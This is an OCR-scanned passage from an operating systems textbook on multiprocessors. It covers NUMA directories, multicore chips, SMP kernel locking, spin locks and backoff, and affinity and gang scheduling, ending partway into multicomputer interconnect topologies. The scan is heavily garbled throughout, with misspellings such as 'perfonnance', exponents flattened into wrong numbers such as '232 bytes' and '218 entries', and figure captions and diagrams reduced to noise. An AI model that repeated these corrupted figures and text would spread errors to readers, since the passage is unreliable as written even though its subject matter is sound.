WIthout change on NUMA machines, but the perfonnance will be worse than on a 
UMA machine at the same clock speed. 

NUMA machines have three key characteristics that all of them possess and 
which together distinguish them from other multiprocessors: 

. 

1. There is a single address space visible to all CPUs. 

2. Access to remote memory is via LOAD and STORE instructions. 

3. Access to remote memory is slower than access to local memory. 

When the access time to remote memory is not hidden (because there is no cach
ing), the system is called NC-NUMA (No Cache NUMA). When coherent 
caches are present, the system is called CC�NUMA (Cache�Coherent NUMA). 

The most popular approach for building large CC-NDMA multiprocessors 
currently is the directory-based multiprocessor. The idea is to maintain a data
base teIling where each cache line is and what its status is. When a cache line is 
referenced, the database is queried to find out where it is and whether it is clean or 
dirty (modified). Since this database must be queried on every instruction that 
references memory, it must be kept in extremely fast special-purpose hardware 
that can respond in a fraction of a bus cycle. 

To make the idea of a directory-based multiprocessor somewhat more con
crete, let us consider as a simple (hypothetical) example, a 2.56-node system, each 
node consisting of one CPU and 16  MB of RAM connected to the CPU via a local 
bus. The total memory is 232 bytes, divided up into 226 cache lines of 64 bytes 
each. The memory is statically allocated among the nodes, with 0-16M in node 0, 
16M-32M in node 1, and so on. The nodes are connected by an interconnection 
network, as shown in Fig. 8-6(a). Each node also holds the directory entries for 
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the 218 64-byte cache lines comprising its 224 byte memory. For the moment, we 
will assume that a line can be held in at most one cache. 

Bits 8 

Node 0 

Node 

18 

Block 

(b) 

Node 1 

Interconnection network 

(a) 

4 
3 
2 

0 
0 
1 

1 0 
o 0 

Node 255 

82 

(0) 

Figure 8-6. (a) A 256-node directory-based multiprocessor. (b) Division of a 
32-bit memory address into fields. (c) The directory at node 36. 

To see how the directory works, let us trace a LOAD instruction from CPU 20 
that references a cached line. First the CPU issuing the instruction presents it to its 
MMU, which translates it to a physical address, say, Ox24000108. The MMU 
splits this address into the three parts shown in Fig. 8-6(b). In decimal, the three 
parts are node 36, line 4, and offset 8. The MMU sees that the memory word ref
erenced is from node 36, not node 20, so it sends a request message through the 
interconnection network to the line's home node, 36, aSking whether its line 4 is 
cached, and if so, where. 

When the request arrives at node 36 over the interconnection network, it is 
routed to the directory hardware. The hardware indexes into its table of 218 en
tries, one for each of its cache lines and extracts entry 4. From Fig. 8-6(c) we see 
that the line is not cached, so the hardware fetches line 4 from the local RAM, 
sends it back to node 20, and updates directory entry 4 to indicate that the line is 
now cached at node 20. 

Now let us consider a second request, this time asking about node 36's line 2. 
From Fig. 8-6(c) we see that this line is cached at node 82. At this point the hard-
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ware could update directory entry 2 to say that the line is now at node 20 and then 
�end a message to node 82 instructing it to pass the line to node 20 and invalidate 
Its cache. Note that even a so-caned «Shared-memory multiprocessor" has a lot of 
message passing going on under the hood. 

. 
As � quick aside, let us calculate how much memory is being taken up by the 

dlrectones. Each node
. 
has 16 MB of RAM and 218 9-bit entries to keep track of 

that RAM. Thus the dIrectory overhead is about 9 x 218 bits divided by 16 MB or 
about 1.76%

.
, w�ich is g�nerally acceptable (although it has to be high-speed 

memory, WhICh Increases Its cost, of course). Even with 32-byte cache lines the 
overhead would only be 4%. With 128-byte cache lines, it would be under 1 %. 

An obvious limitation of this deSign is that a line can be cached at only one 
node: To allow lines to be cached at multiple nodes, we would need some way of 
loc�tmg all of th:ffi, for example, to invalidate or update them on a write. Various 
optIons are possIble to allow caching at several nodes at the same time but a dis-
cussion of these is beyond the scope of this book. ' 

Multicore Chips 

As chip man�fa?turing
. 

technology improves, transistors are getting smaller 
and smaller and It IS possIble to put more and more of them On a chip. This 
empirical observation is often called Moore's Law, after Intel co-founder Gordon 
Moore, who first noticed it. Chips in the Intel Core 2 Duo class contain on the 
order of 300 million transistors. 

An obvious question is: "What do you do with all those transistors?" As we 
dis�uss�d in. Sec. 1.3.1, 

.
one �ption is to add megabytes of cache to the Chip. This 

optron IS senous, and ChIpS WIth 4 MB of on-chip cache are already common, with 
larger ca�hes on the way. But at SOme point increasing the cache size may only 
run the hIt rate up from 99% to 99.5%, which does not improve application per
fonnance much. 

The other option is to put two or more complete CPUs, usually called cores, 
on

. 
the same ChIp (technically, on the same die). Dual-core chips and quad-core 

chips are already common; 80-core chips have been fabricated, and chips with 
hundreds of cores are on the horizon. 

While the CPUs may or may not share caches (see, for example, Fig. 1-8), 
they always share main memory, and this memory is consistent in the sense that 
there is always a unique value for each memory word. Special hardware circuitry 
makes sure that if a word is present in two or more caches and one of the CPUs 
modifies the word, it is automatically and atomically removed from all the caches 
in order to maintain consistency. This process is known as sno'oping. 

The result of this design is that multicore chips are just small multiprocessors. 
In fact, multicore chips are sometimes called ClVIPs (Chip-level MultiProces
sors). From a software perspective, CMPs are not really that different from bus
based mUltiprocessors Or multiprocessors that use switching networks. However, 
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there are some differences. For starters, on a bus-based multipr�cessor, �ach CPU 

has its own cache, as in Fig. 8-2(b) and also as in the AMD deslgn ofFlg .. 1-8(b). 

The shared-cache design of Fig. 1-8(a), which Intel uses, does not occur 10 other 

multiprocessors. The shared L2 cache can affect performance. If one core needs 

a lot of cache memory and the others do not, this design allows the ca�he ho� to 

take whatever it needs. On the other hand, the shared cache also makes It pOSSIble 

for a greedy core to hurt the performance of the oth�r cores. . '  
Another area in which CMPs differ from theIr larger cQusms IS fault toler

ance. Because the CPUs are so closely connected, failures in share� �omponen� 

may bring down multiple CPUs at once, something less likely in tradItIOnal multi-

processors. . . 
In addition to symmetric multicore chips, where all the cores are Identlcal, an-

other category of multicore chip is the system on a chip. These c�ips have one ?r 

more main CPUs, but also special-purpose cores, such as .vIdeo and audio 

decoders, cryptoprocessors, network interfaces, and more, leadmg to a complete 

computer system on a chip. . 
As has often happened in the past, the hardware IS way ah�ad .of the softwar�. 

While multicore chips are here now, our ability to write appl��atlon.s for them IS 

not. Current programming languages are poorly suited for wntlng hIghly parallel 

programs and good compilers and debugging tools are scarce o
.
n the ground. Few 

programmers have had any experience with parallel programrrun? and most know 

little about dividinv work into multiple packages that can run m parallel. Syn

chronization, elimi�ating race conditions, and deadlock avoidance are going to be 

nightmares and perfonnance will suffer badly as a result. Sema�hores are �ot the 

answer. And beyond these startup problems, it is far from ObVlOUS what Idll:d
. 
of 

application really needs hundreds of cores. Natural-language speech r�cognltlon 

could probably soak up a lot of computing power, but the problem here IS not lack 

of cycles but lack of algorithms that work. In short, the hardware folks may be 

delivering a product that the software folks do not know how to use and which the 

users do not want. 

8.1.2 Multiprocessor Operatiug System Types 

Let us now turn from multiprocessor hardware to multiprocessor softwar�, in 
particular, multiprocessor operating systems. Various approaches are �oSSlble. 
Below we will study three of them. Note that all of these are equally apphcable to 
multicore systems as well as systems with discrete CPUs. 

Each CPU Has Its Own Operating System 

The simplest possible way to organize a multiprocessor operating syst�m is to 
statically divide memory into as many partitions as there are CPUs. and give each 
CPU its own private memory and its own private copy of the operatmg system. In 
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eff�ct, �e n CPUs then operate as n independent computers. One obvious optimi
zatIon IS. to allow all the CPl!s to share the operating system code and make pri
vate copIes of only the operatmgs system data structures, as shown in Fig. 8-7. 

CPU 1 CPU 2 CPU 3 CPU 4 Memory 110 
Has !:las Has Has D:taID�ta private private private private o!�To:ta OS Os OS OS 

Jif IT os"'" I ;j IT ';" 'APk.,'"" " " ,o . •  , , " , " 'i" ;-'''''''' ] 
"'-BUS 

Fi�ure 8-7. Partitioning multiprocessor memory among four CPUs, but sharing 
a smgle copy of the operating system code. The boxes marked Data are the Oper
ating system's private data for each CPU. 

This �cheme is still better than having n separate computers since it allows all 
the machmes to share a set of disks and other I/O devices, and it also allows the 
memory to be sh�ed flexibly. For example, even with static memory allocation, 
one CPU can be gIven an extra-large portion of the memory so it can handle Iarve 
programs efficiently. In addition, processes can efficiently communicate with o�e 
another by allowin� a producer to write data directly into memory and Jillowing a 
consum�r to fetch. 

It from
. 
the place the produ�er wrote it. Still, from an operating 

s!,stem� perspective, havmg each CPU have ItS own operating system is as primi
ave as It gets. 

. It is worth mentioning four aspects of this design that may not be obvious. 
Flr�t, when a proc�ss makes a system call, the system call is caught and handled 
on Its own C�U usmg the data structures in that operating system's tables. 

Second, smce
. 
each operating system has its own tables, it also has its own set 

of pr?cesses that It schedules by itself. There is no sharing of processes. If a user 
logs mto CPU 1 : a�l of his processes run on CPU 1. As a consequence, it can hap
pen that CPU 1 IS Idle while CPU 2 is loaded with work. 

Thir�, there is �o sharing of pages. It can happen that CPU I has pages to 
spare whIle CPU 2 IS paging continuously. There is no way for CPU 2 to borrow 
some pages from CPU I since the memory allocation is fixed. 

Fo?rth, and worst, if the �perating system maintains a buffer cache of recently 
used �Isk blocks, each operatmg system does this independently of the other ones. 
Thus it can happen �at a certain disk block is present and dirty in multiple buffer 
caches at. the sa�� time, leading to inconsistent results. The only.· way to avoid this 
problem IS to ehmmate the buffer caches. Doing so is not hard, but it hurts perfor
mance considerably. 

For these reasons, this model is rarely used any more, although it was used in 
the early days of multipr�cessors, when the goal was to port existing operating 
systems to some new multlprocessor as fast as possible. 
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Master-Slave Multiprocessors 

A second model is shown in Fig. 8-8. Here, one copy of the operating system 

and its tables is present on CPU 1 and not on any of the others. All system calls 

ed· t d t CPU 1 'or processino- there. CPU 1 may also [un user processes 
are r lree e 0 t' 0 • U 1 -
if there is CPU time left over. This model is called master-slave SIllee CP IS 

the master and all the others are slaves. 

CPU 1 

Master 
runs 
OS 

CPU 2 

Slave 
runs user 
processes 

I I  

CPU 3 

Slave 
funs user 
processes 

II 
" Bus 

CPU 4 Memory 
Slave . ,-(j'sei.'-<' 

runs user pr?���s 
processes ';'OS',>:'-

I I  I I  
Figure 8-8. A master-slave multiprocessor modeL 

I/O 

11 

The master-slave model solves most of the prob�e�� of t�e first model. There 

is a single data structure (e.g., one list or a set of pnonuzed �lstS) that keeps track 

of ready processes. When a CPU goes idle, it �sks the operatmg system on CPU
.
l 

for a process to run and is assigned one. Thus It can never happen that one CPU IS 

idle while another is overloaded. Similarly, pages can be all?cated. amo�g al� the 

processes dynamically and there is only one buffer cache, so mconsistencies never 

occur. th ·11 b The problem with this model is that with many CPUs, e master WI ecorne 

a bottleneck. After all, it must handle all system calls from 
.
all CPUs. If, say, 10% 

of all time is spent handling system calls, then 10 CPUs wIll pretty mu�h satura�e 

h t d with 20 CPUs it will be completely overloaded. Thus thIS model IS t e mas er, an . f ·1 simple and workable for small multiprocessors, but for large ones It al s. 

Symmetric Multiprocessors 

Our third model, the SMP (Symmetric MultiProcessor), eliminates this 

asymmetry. There is one copy of the operating system in
. 
memory, but any CPU 

can run it. When a system call is made, the CPU on WhiCh the syste: tal\�aS 
made traps to the kernel and processes the system call. The SMP mo e IS 1 us

trated in Fig. 8-9. . 1 
This model balances processes and memory dynamically, since there IS on y 

one set of operating system tables. It also .eliminates the master CP� bottlt::neck, 

since there is no master, but it introduces Its own problems. In
'
paltlc�lar, If two 

or more CPUs are running operating system co�e �t the same hme, dIsaster may 

well result. Imagine two CPUs simultaneously pIcking the same process to run or 
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CPU 1 CPU 2 CPU 3 CPU 4 Memory I/O 

Locks 

Figure 8·9. The SMP multiprocessor model. 

claiming the same free memory page. The simplest way around these problems is 
to associate a mutex (i.e., lock) with the operating system, making the whole sys
tem one big critical region. When a CPU wants to run operating system code, it 
must first acquire the mutex. If the mutex is locked, it just waits. In this way, any 
CPU can run the operating system, but only one at a time. 

This model works, but is almost as bad as the master-slave model. Again, sup
pose that 10% of all run time is spent inside the operating system. With 20 CPUs, 
there will be long queues of CPUs waiting to get in. Fortunately, it is� easy to 
improve. Many parts of the operating system are independent of one another. For 
example, there is no problem with one CPU running the scheduler while another 
CPU is handling a file system call and a third one is processing a page fault. 

This observation leads to splitting the operating system up into multiple inde
pendent critical regions that do not interact with one another. Each critical region 
is protected by its own mutex, so only one CPU at a time can execute it. In this 
way, far more parallelism can be achieved. However, it may well happen that 
some tables, such as the process table, are used by multiple critical regions. For 
example, the process table is nee<.ied for scheduling, but also for the fork system 
can and also for signal handling. Each table that may be used by multiple critical 
regions needs its own mutex. In this way, each critical region can be executed by 
only one CPU at a time and each critical table can be accessed by only one CPU 
at a time. 

Most modern multiprocessors use this arrangement. The hard part about writ
ing the operating system for such a machine is not that the actual code is so dif
ferent from a regular operating system. It is not. The hard part is splitting it into 
critical regions that can be executed concurrently by different CPUs without 
interfering with one another, not even in subtle, indirect ways. In addition, every 
table used by two or more critical regions must be separately protected by a mutex 
and all code using the table must use the mutex correctly. 

Furthennore, great care must be taken to avoid deadlocks. If two critical re
gions both need table A and table B, and one of them claims A first and the other 
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claims B first, sooner or later a deadlock will occur and nobody will kn?,:", why. 
In theory, an the tables could be assigned integer values and �n the cntlcal :e
gioos could be required to acquire tables in increasing order. ThIS strategy avo�ds 
deadlocks, but it requires the programmer to think very carefully about whIch 
tables each critical region needs and to make the requests in the right order. . . As the code evolves over time, a critical region may need a new table It dId 
not previously need. If the programmer is new and does nol understand the full 
logic of the system, then the temptation will be to just grab the mutex on the table 
at the point it is needed and release it when it is no longer needed . .H0wev�r rea
sonable this may appear, it may lead to deadlocks, which the user wIll perceive as 
the system freezing. Getting it right is not easy and keeping it right over a period 
of years in the face of changing programmers is very difficult. 

8.1.3 Multiprocessor Synchronization 

The CPUs in a multiprocessor frequently need to synchronize. We just saw 
the case in which kernel critical regions and tables have to be protected by 
mutexes. Let us now take a close look at how this synchronization actually works 
in a mUltiprocessor. It is far from trivial, as we will soon see. 

To start with, proper synchronization primitives are really needed. If � proc
ess on a uniprocessor machine (just one CU) makes a sy�tem �all th�t requlres ac
cessing some critical kernel table, the kernel code can Just dlsable mterrupts be
fore touching the table. It can then do its work knowing that it will be abl� �o fin
ish without any other process sneaking in and touching the table before It. IS fin
ished. On a multiprocessor, disabling interrupts affects only the CPU domg the 
disable. Other CPUs continue to run and can still touch the critical table. As a 
consequence, a proper mutex protocol must be used and respected by all CPUs to 
guarantee that mutual exclusion works. 

The heart of any practical mutex protocol is a special instruction that allows a 
memory word to be inspected and set in one indivisible operation. We saw how 
TSL (Test and Set Lock) was used in Fig. 2-22 to implement critical regions, As 
we discussed earlier, what this instruction does is read out a memory word and 
store it in a register. Simultaneously, it writes a I (or some other nonzero value) 
into the memory word. Of course, it takes two bus cycles to perfonn the memory 
read and memory write. On a uniprocessor, as long as the instruction cannot be 
broken off halfway, TSL always works as expected. 

Now think about what could happen on a multiprocessor. In Fig. 8-10 we see 
the worst-case timing, in which memory word 1000, being used as a lock, is ini
tially O. In step I. CPU I reads out the word and gets a O. In step 2, before CPU 
1 has a chance to rewrite the word to 1, CPU 2 gets in and also reads the word out 
as a O. In step 3, CPU 1 writes a 1 into the word. In step 4, CPU 2 also writes a 1 
into the word. Both CPUs got a 0 back from the TSL instruction, so both of them 
now have access to the critical region and the mutual exclusion fails. 
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Figure 8-10. The TSL instruction can fail if the bus cannot be locked. These four 
steps show a sequence of ev;::nts where the failure is demonstrated. 

537 

:0 prevent this problem, the TSL instruction must first lock the bus, pre
ventmg othe� CPUs froC? accessing it, then do both memory accesses, then unlock 
the bus. TYPIcally, locking the bus is done by requesting the bus using the usual �us req�est protocol, then asserting (i.e., setting to a logical 1 )  some special bus 
lme untIl both cycles have. been completed. As long as this special line is being 
�sserted, no other CPU WIll be granted bus access. This instruction can only be 
lrr:plemented on a bus that has the necessary lines and (hardware) protocol for 
usmg them. Modern buses have these facilities, but on earlier ones that did not it 
�as not possible to i�plem�nt T�L correctly. This is why Peterson's protocol �as 
mvented: to synchronIze entirely III software (Peterson, 1981). 

If TSL is correctly implemented and used, it guarantees that mutual exclusion 
can be made to wo:k. Howe:er, this mutual exclusion method uses a spin lock 
because the reques�ng CPU Just sits in a tight loop testing the lock as fast as it 
can .. Not only does It com�letely waste the time of the requesting CPU (or CPUs), 
but It may also PU! a maSSIve I.oad on the bus or memory, seriously slOWing down 
all other CPUs trymg to do theIr normal work. 

At first glance, it might appear that the presence of cachinu should eliminate 
the problem of bus cont�ntion, but it does not. In theory, once the requesting CPU 
has read the lock word, It should get a copy in its cache. As long as no other CPU 
attempts to use the l�ck, the requesting CPU should be able to run out of its cache. When �e CPt! OW�lTIg the lock .writes . a .1 to it to release it, the cache protocol 
automatlcally mvahdates all copIes of It m remote caches, requiring the correct 
value to be fetched again. 

The problem is that caches operate in blocks of 32 or 64 .. bytes. Usually, the 
wor�s surro.und�ng the. lock are needed by the CPU holdiilg the lock. Since the 
TSL InstructIon IS a wnte (because it modifies the lock), it needs exclusive access 
!o the cache block containing the lock. Therefore every TSL invalidates the block 
m the lock holder's cache and fetches a private, exclusive c0f! for rhv rvQuY�finK CPu. As soon as the lock holder touches a wo d d' J V � a yacent to the lock. the cache 
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block is moved to its machine. Consequently, the entire cache block containing 

the lock is constantly being shuttled between the lock owner and the lock re

quester, generating even more bus traffic than individual reads on the lock word 

would have. 
If we could get rid of all the TSL-induced writes on the requesting side, we 

could reduce the cache thrashing appreciably. This goal can be accomplished by 

having the requesting CPU first do a pure read to see if the lock is free. Only if the 

lock appears to be free does it do a TSL to actually acquire it. The result of this 

small change is that most of the polls are now reads instead of writes. If the CPU 

holding the lock is only reading the variables in the same cache block, they can 

each have a copy of the cache block in shared read-only mode, eliminating all the 

cache block transfers. When the lock is finally freed, the owner does a write, 

which requires exclusive access, thus invalidating all the other copies in remote 

caches. On the next read by the requesting CPU, the cache block will be reload

ed. Note that if two or more CPUs are contending for the same lock, it can hap

pen that both see that it is free simultaneously, and both do a TSL simultaneously 

to acquire it. Only one of these will succeed, so there is no race condition here be

cause the real acquisition is done by the TSL instruction, and this instruction is 

atomic. Seeing that the lock is free and then trying to grab it immediately with a 

TSL does not guarantee that you get it. Someone else might win, but for the cor

rectness of the algorithm, it does not matter who gets it. Success on the pure read 

is merely a hint that this would be a good time to try to acquire the lock, but it is 

not a guarantee that the acquisition will succeed. 

Another way to reduce bus traffic is to use the well-known Ethernet binary 

exponential backoff algorithm (Anderson, 1990). Instead of continuously polling, 

as in Fig. 2-22, a delay loop can be inserted between polls. Initially the delay is 

one instruction. If the lock is still busy, the delay is doubled to two instructions, 

then four instructions and so on up to some maximum. A low maximum gives a 

fast response when the lock is released, but wastes more bus cycles on cache 

thrashing. A high maximum reduces cache thrashing at the expense of not notic

ing that the lock is free so quickly. Binary exponential backoff can be used with or 

without the pure reads preceding the TSL instruction. 

An even better idea is to give each CPU wishing to acquire the mutex its own 

private lock variable to test, as illustrated in Fig. 8-11 (Mellor-Crummey and 

Scott, 1991). The variable should reside in an otherwise unused cache block to 

avoid conflicts. The algorithm works by having a CPU that fails to acquire the 

lock allocate a lock variable and attach itself to the end of a list of CPUs waiting 

for the lock. When the current lock holder exits the critical region, it frees the pri

vate lock that the first CPU on the list is testing (in its own cache). This CPU 

then enters the critical region. When it is done, it frees the lock its successor is 

using, and so on. Although the protocol is somewhat complicated (to avoid hav

ing two CPUs attach themselves to the end of the list simultaneously), it is effi

cient and starvation free. For all the details, readers should consult the paper. 
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3 spins on this (private) Jock 

CPU 2 spins on this (private) 
4 spins on this (private) lock 

Shared memory 
When CPU 1 is flnished with the 
real lock, it releases it and also 
releases the private lock CPU 2 
is spinning on 

Figure 8-11. Use of multiple locks to avoid cache thrash· " In",. 
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If it is known that mutexes are generally held for, say, 50 J.l.sec and it takes 1 
msec to switch from the current thread and 1 msec to switch back later, it is more 
efficient just to spin on the mutex. On the other hand, if the average mutex is held 
for 10 msec, it is worth the trouble of making the two context switches. The trou
ble is that critical regions can vary considerably in their duration, so which ap
proach is better? 

One design is to always spin. A second design is to always switch. But a 
third design is to make a separate decision each time a locked mutex is encount
ered. At the time the decision has to be made, it is not known whether it is better 
to spin or switch, but for any given system, it is possible to make a trace of all 
activity and analyze it later offline. Then it can be said in retrospect which deci
sion was the best one and how much time was wasted in the best case. This hind
sight algorithm then becomes a benchmark against which feasible algorithms can 
be measured. 

This problem has been studied by researchers (Karlin et aI., 1989; Karlin et 
at, 1991; and Ousterhout, 1 982). Most work uses a model in which a thread fail
ing to acquire a mutex spins for some period of time. If this threshold is 
exceeded, it switches. In some cases the threshold is fixed, typically the known 
overhead for switching to another thread and then switching back. In other cases 
it is dynamic, depending on the observed history of the mutex being waited on. 

The best results are achieved when the system keeps track of the last few 
observed spin times and assumes that this one will be similar to the previous ones. 
For example, assuming a l-msec context switch time again, a thread would spin 
for a maximum of 2 msec, but observe how long it actually spun. If it fails to ac
quire a lock and sees that on the previous three runs it waited an average of 200 
!-lsec, it should spin for 2 msec before switching. However, it if sees that i t spun 
for the full 2 msec on each of the previous attempts, it should switch immediately 
and not spin at all. More details can be found in (Karlin et at, 1991). 

8.1.4 Multiprocessor Scheduling 

Before looking at how scheduling is done on mUltiprocessors, it is necessary 
to detennine what is being scheduled. Back in the old days, when all processes 
were single threaded, processes were scheduled-there was nothing else schedul
able. All modern operating systems support multithreaded processes, which 
makes scheduling more complicated. 

It matters whether the threads are kernel threads or user threads. If threading 
is done by a user-space library and the kernel knows nothing about the threads, 
then scheduling happens on a per process basis as it always did. If the kernel does 
not even know threads exist, it can hardly schedule them. 

With kernel threads, the picture is different. Here the kernel is aware of all the 
threads and can pick and choose among the threads belonging to a process. In 
these systems, the trend is for the kernel to pick a thread to run, with the process it 
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Figure 8.12. Using a single data structure for scheduling a multiprocessor. 
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cache hit rate and thus the thread's speed. In addition, the TLB may also contain 
the right pages, reducing TLB faults. 

Some multiprocessors take this effect into account and use what is called 
affinity scheduling (Vaswani and Zahorjan, 1991). The basic idea here is to 
make a serious effort to have a thread run on the same CPU it ran on last time. 
One way to create this affinity is to use a two-level scheduling algorithm. When 
a thread is created, it is assigned to a CPU, for example based on which one has 
the smallest load at that moment. This assignment of threads to CPUs is the top 
level of the algorithm. As a result of this policy, each CPU acquires its own col
lection of threads. 

The actual scheduling of the threads is the bottom level of the algorithm. It is 
done by each CPU separately, using priOrities or some other means. By trying to 
keep a thread on the same CPU for its entire lifetime, cache affinity is maximized. 
However, if a CPU has no threads to run, it takes one from another CPU rather 
than go idle. 

Two-level scheduling has three benefits. First, it distributes the load roughly 
evenly over the available CPUs. Second, advantage is taken of cache affinity 
where possible. Third, by giving each CPU its own ready list, contention for the 
ready lists is minimized because attempts to use another CPU's ready list are rela
tively infrequent. 

Space Sharing 

The other general approach to multiprocessor scheduling can be used when 
threads are related to one another in some way. Earlier we mentioned the example 
of parallel make as one case. It also often occurs that a single process has multi
ple threads that work together. For example, if the threads of a process communi
cate a lot, it is useful to have them running at the same time. Scheduling multiple 
threads at the same time across multiple CPUs is caned space sharing. 

The simplest space-sharing algorithm works like this. Assume that an entire 
group of related threads is created at once. At the time it is created, the scheduler 
checks to see if there are as many free CPUs as there are threads. If there are, 
each thread is given its own dedicated (i.e., nonmultiprogrammed) CPU and they 
all start. If there are not enough CPUs, none of the threads are started until 
enough CPUs are available. Each thread holds onto its CPU until it terminates, at 
which time the CPU is put back into the pool of available CPUs. If a thread 
blocks on IIO, it continues to hold the CPU, which is simply idle until the thread 
wakes up. When the next batch of threads appears, the same algorithm is applied. 

At any instant of time, the set of CPUs is statically partitioned into some num
ber of partitions, each one running the threads of one thread. In Fig. 8-13, we 
have partitions of sizes 4, 6, 8, and 12 CPUs, with 2 CPUs unassigned, for ex
ample. As time goes on, the number and size of the partitions will change as new 
threads are created and old ones finish and terminate. 
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Figure 8-13. A set of 32 CPUs split into four partitions, with two CPUs 
available. 

Periodically. scheduling decisions have to be made. In uniprocessor systems, 
shortest job first is a well-known algorithm for batch scheduling. The analogous 
algorithm for a multiprocessor is to choose the process needing the smallest num
ber of CPU cycles, that is, the thread whose CPU-count x run-time is the smallest 
of the candidates. However, in practice, this information is rarely available, so the 
algorithm is hard to carry out. In fact, studies have shown that, in practice, beat
ing first-come, first-served is hard to do (Krueger et al., 1994). 

In this simple partitioning model, a thread just asks for some number of CPUs 
and either gets them all or has to wait until they are available. A different ap
proach is for threads to actively manage the degree of parallelism. One method for 
managing the parallelism is to have a central server that keeps track of which 
threads are running and want to run and what their minimum and maximum CPU 
requirements are (Tucker and Gupta, 1989). Periodically, each application polls 
the central server to ask how many CPUs it may use. It then adjusts the number 
of threads up or down to match what is available. For example, a Web server can 
have 5, 10, 20, or any other number of threads running in parallel. If it currently 
has 10 threads and there is suddenly more demand for CPUs and it is told to drop 
to 5, when the next 5 threads finish their current work, they are told to exit instead 
of being given new work. This scheme allows the partition sizes to vary dynami
cally to match the current workload better than the fixed system of Fig. 8-13. 

Gang Scheduling 

A clear advantage of space sharing is the elimination of multiprogramming, 
which eliminates the context switching overhead. However, an equally clear 
disadvantage is the time wasted when a CPU blocks and has nothing at all to do 
until it becomes ready again. Consequently, people have looked for algorithms 
that attempt to schedule in both time and space together, especially for threads 
that create mUltiple threads, which usually need to communicate with one another. 

To see the kind of problem that can occur when the threads of a process are 
independently scheduled, consider a system with threads A 0 and A 1 belonging to 
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�rocess A and threads Bo and B 1 belonging to process B. threads Ao and Bo are 
tImeshared on CPU 0; th

.
reads A I and B I are timeshared on CPU 1. threads A 0 

and A 1 need to �ommumcate often. The communication pattern is that A 0 sends 
A 1 a message, WIth A 1 then sending back a reply to A 0, followed by another such ���uence. Suppose that luck has it that A o  and B 1 start first, as shown in Fig. 8-

Thread Ao running 
� 

Time 0 100 200 300 400 500 600 

Figure �-14. Communication between two threads belonging to thread A that 
are IUnlllng out of phase. � 

. 
In �ime slice

.
O, A 0 sends A 1 a request, but A 1 does not get it until it runs in 

time slIce 1 start:n.
g at 100 �sec. It sends the reply immediately, but A o  does not 

get the reply untIl It runs agam at 200 msec. The net result is one request-reply se
quence every 200 msec. Not very good. 

The so�ution to this problem is gang scheduling, which is an outgrowth of 
co�scheduhng (Ousterhout, 1982). Gang scheduling has three parts: 

1. Groups of related threads are scheduled as a unit, a gang. 

2. All members of a gang run simultaneously, on different timeshared CPUs. 

3. All gang members start and end their time slices together. 

The trick that �akes gang scheduling work is that all CPUs are scheduled syn
chronOUSly. 11us means that time is divided into discrete quanta as we had in 
Fig. 8-14. At the start of each new quantum, all the CPUs are rescheduled, with a 
new thread b�ing started on each one. At the start of the following quantum, an
other sc.heduhng event happens. In between, no scheduling is _done. If a thread 
blocks, lts CPU stays idle until the end of the quantum. 

- '" 

An exa�ple of how gang SCheduling works is given in Fig. 8-15. Here we 
h�ve a multIprocessor with six CPUs being used by five processes, A through E, 
WIth a total of 24 ready threads. During time slot 0, threads A through A are 
scheduled and run. During time slot 1, threads Bo, E 1 ,  B2, Co� C \ ,  and C� are 
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building the shared memory in a mUltiprocessor. However, the goal is to send 
messages on a microsecond time scale, rather than access memory on a nanosec
ond time scale, so it is simpler, cheaper, and easier to accomplish. 

In the following sections, we will first take a brief look at multicomputer 
hardware, especially the interconnection hardware. Then we will move onto the 
software, starting with low-level communication software, then high-level com
munication software. We will also look at a way shared memory can be achieved 
on systems that do not have it. Finally, we will examine scheduling and load 
balancing. 

8.2.1 Multicomputer Hardware 

The basic node of a multicomputer consists of a CPU, memory, a network in
terface, and sometimes a hard disk. The node may be paCkaged in a standard PC 
case, but the graphics adapter, monitor, keyboard, and mouse are nearly always 
absent. In some cases, the PC contains a 2-way or 4-way mUltiprocessor board, 
possibly each with a dual- or quad-core chip, instead of a single CPU, but for sim
pliCity, we will assume that each node has one CPU. Often hundreds or even 
thousands of nodes are hooked together to form a multicomputer. Below. we will 
say a little about how this hardware is organized. 

Interconnection Technology 

Each node has a network interface card with one or two cables (or fibers) 
coming out of it. These cables connect either to other nodes or to switches. In a 
small system, there may be one switch to which aU the nodes are connected in the 
star topology of Fig. 8-16(a). Modem switched Ethemets use this topology. 

As an alternative to the single switch design, the nodes may form a ring, with 
two wires coming out the network interface card, one going into the node on the 
left and one going into the node on the right, as shown in Fig. 8-16(b). In this 
topology, no switches are needed and none are shown. 

The grid or mesh of Fig. 8-16(c) is a two�dimensionaI design that has been 
used in many commercial systems. It is highly regular and easy to scale up to 
large sizes. It has a diameter, which is the longest path between any two nodes, 
and which increases only as the square root of the number of nodes. A variant on 
the grid is the double torus of Fig. 8-16( d), which is a grid with the edges con
nected. Not only is it more fault tolerant than the grid, but the_ diameter is also less 
because the opposite comers can now communicate in only two hops. 

The cube of Fig. 8-l6(e) is a regular three-dimensional topology. We have il
lustrated a 2 x 2 x 2 cube, but in the most general case it could be a k x k x k 
cube. In Fig. 8-16(f) we have a four-dimensional cube built from two three
dimensional cubes with the corresponding nodes connected. We could make a 
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* 0  
(a) (b) (c) 

@ tI- �::::-:��-�<�:----. .. - ........ '::::.�" -:.:",:::" .... ...... , 

............ ... ;" .... ,,:::: . .. ........ . 
(d) (e) 

Figure 8.16. Various interconnect topologies. (a) A single switch. (b) A ring. 
ee) A grid. (d) A double torus. (e) A cube. (f) A 4D hypercube. 

five-dimensional cube by cloning the structure of Fig. 8-16(1) a�d �onne�ting the 

corresponding nodes to form a block of four cubes. To go to SIX dlme�slOns. we 

could replicate the block of four cubes and i�tercoru:ect the correspondmg nodes, 

and so on. An n-dimensional cube fonned thIS way IS called a hYI?ercube . .  Many 

parallel computers use this topology because the diameter grows hne�ly with the 

dimensionality. Put in other words, the diameter is the base 2 loganthm of the 

number of nodes, so, for example, a lO�dimensional hypercube has �024 nodes 

but a diameter of only 10, giving excellent delay properties. Note that In �on�ast, 

1024 nodes arranged as a 32 x 32 grid have a diameter of 62, �ore tha� SIX times 

worse than the hypercube. The price paid for the smaller dlameter IS that the 

fanout, and thus the number of links (and the cost), is much larger for the hyper� 

cube. 
Two kinds of switching schemes are used in multicomputers. In the flrs� one, 

each message is first broken up (either by the user software or the networ� m�er

face) into a chunk of some maximum length called a packet. The swltc�ng 

scheme called store-and-forward packet switching, consists of the packet bemg 

injected into the fIrst switch by the �ource nod�'s network interface board, as 

shown in Fig. 8-17(a). The bits come In one at a tlI�e, and �hen the whole pa�ket 

has arrived at an input buffer, it is copied to the lme leadmg t? the next sw�tch 

